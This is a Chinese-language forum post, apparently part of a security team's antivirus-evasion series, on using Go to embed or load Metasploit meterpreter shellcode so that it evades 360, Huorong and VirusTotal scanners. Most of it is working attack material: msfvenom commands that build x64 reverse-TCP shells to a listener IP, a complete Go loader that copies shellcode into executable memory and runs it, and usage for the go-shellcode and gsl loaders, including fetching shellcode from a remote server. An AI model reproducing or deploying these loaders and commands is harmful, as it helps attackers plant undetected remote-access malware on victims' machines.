本帖最后由 wholesome 于 2020-3-8 17:45 编辑
本文目录概览: - 1 GO加载shellcode介绍
- 2 Go嵌入shellcode(VT查杀率3/71)
- 3 Go加载器
- 3.1 go-shellcode加载器(VT查杀率4/69)
- 3.2 gsl加载器(VT查杀率6/71)
- 4 参考资料
复制代码 几点说明: 1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。 5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。 文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus,对免杀感兴趣的小伙伴可以微信关注"Tide安全团队"公众号,公众号回复“免杀”可下载所有资料。
1 GO加载shellcode介绍
用Golang做免杀的不是很多,不过也有一些go写的免杀工具,比如专题21里介绍的HERCULES就是把利用go来嵌入shellcode然后编译exe,还有veil、Avoidz都可以生成基于go语言的shellcode,而且免杀效果还不错。 唯一不足的是go编译出来的exe大约2.3M左右,使用upx压缩下大约1.5M,不过相比python编译的exe应该还能接受了,免杀效果还比python-exe要好一些。 Golang也可以分两种方式,一种是将shellcode嵌入go代码然后编译exe,一种是使用go加载器。 2 Go嵌入shellcode(VT查杀率3/71)
Go中嵌入shellcode的方法不大多,只找到了两种代码,相比python要少很多,也可能是因为毕竟少的缘故,所以免杀效果还是比较好的。 先用msfvenom生成C语言的shellcode,注意要生成x64的。 - msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f c
复制代码将shellcode转换一下,变成下面的格式 将转换后的shellcode替换到下面的shellcode_buf位置,文件保存为shell.go
- package main
- import (
- "io/ioutil"
- "os"
- "syscall"
- "unsafe"
- )
- const (
- MEM_COMMIT = 0x1000
- MEM_RESERVE = 0x2000
- PAGE_EXECUTE_READWRITE = 0x40
- )
- var (
- kernel32 = syscall.MustLoadDLL("kernel32.dll")
- ntdll = syscall.MustLoadDLL("ntdll.dll")
- VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
- RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
- shellcode_buf = []byte{
- 0xfc, 0x48, ----shellcode----, 0xd5,
- }
- )
- func checkErr(err error) {
- if err != nil {
- if err.Error() != "The operation completed successfully." {
- println(err.Error())
- os.Exit(1)
- }
- }
- }
- func main() {
- shellcode := shellcode_buf
- if len(os.Args) > 1 {
- shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
- checkErr(err)
- shellcode = shellcodeFileData
- }
- addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
- if addr == 0 {
- checkErr(err)
- }
- _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
- checkErr(err)
- syscall.Syscall(addr, 0, 0, 0, 0)
- }
复制代码在命令行执行命令go build,编译生成test.exe,在测试机执行。不过大约两分钟后,360安全大脑提示云查杀报警了。 msf中监听windows/x64/meterpreter/reverse_tcp,可上线 virustotal.com上查杀率为3/71 image(3).png在网上还找到另外一个代码,不过执行和编译老出错,有兴趣的可以试一下,代码如下。 - package main
- import "C"
- import "unsafe"
- func main() {
- buf := ""
- buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
- ...省略...
- buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
- // at your call site, you can send the shellcode directly to the C
- // function by converting it to a pointer of the correct type.
- shellcode := []byte(buf)
- C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
- }
复制代码3 Go加载器
3.1 go-shellcode加载器(VT查杀率4/69)下载后,进入go-shellcode\cmd\sc目录,执行go build 生成sc.exe 然后用Msfvenom生成hex格式的shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=10.211.55.2 LPORT=3333
使用sc加载器进行加载 静态和动态都可过360和火绒 msf中可上线 virustotal.com上sc.exe查杀率为4/69 3.2 gsl加载器(VT查杀率6/71)gsl是Jayl1n根据go-shellcode进行了修改完善的工具。 里面包含两个版本,x86和x64。 提供了三种加载方式 1、从参数传入 (必须是HEX格式) 2、从文件传入 加载 RAW 格式:gsl -f shell.raw 加载 HEX 格式:gsl -f shell.hex -hex 3、从远程服务器加载 把 SHELLCODE 文件挂在WEB目录下。(支持HTTP/HTTPS) 以x64为例进行测试,先生成x64的shellcode - msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f hex -o shell.hex<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码 msf中可上线 virustotal.com上gsl64.exe查杀率为6/71,因为这个gsl是编译好的,没法自己编译,估计越来越多的杀软都能开始查杀。 4 参考资料
|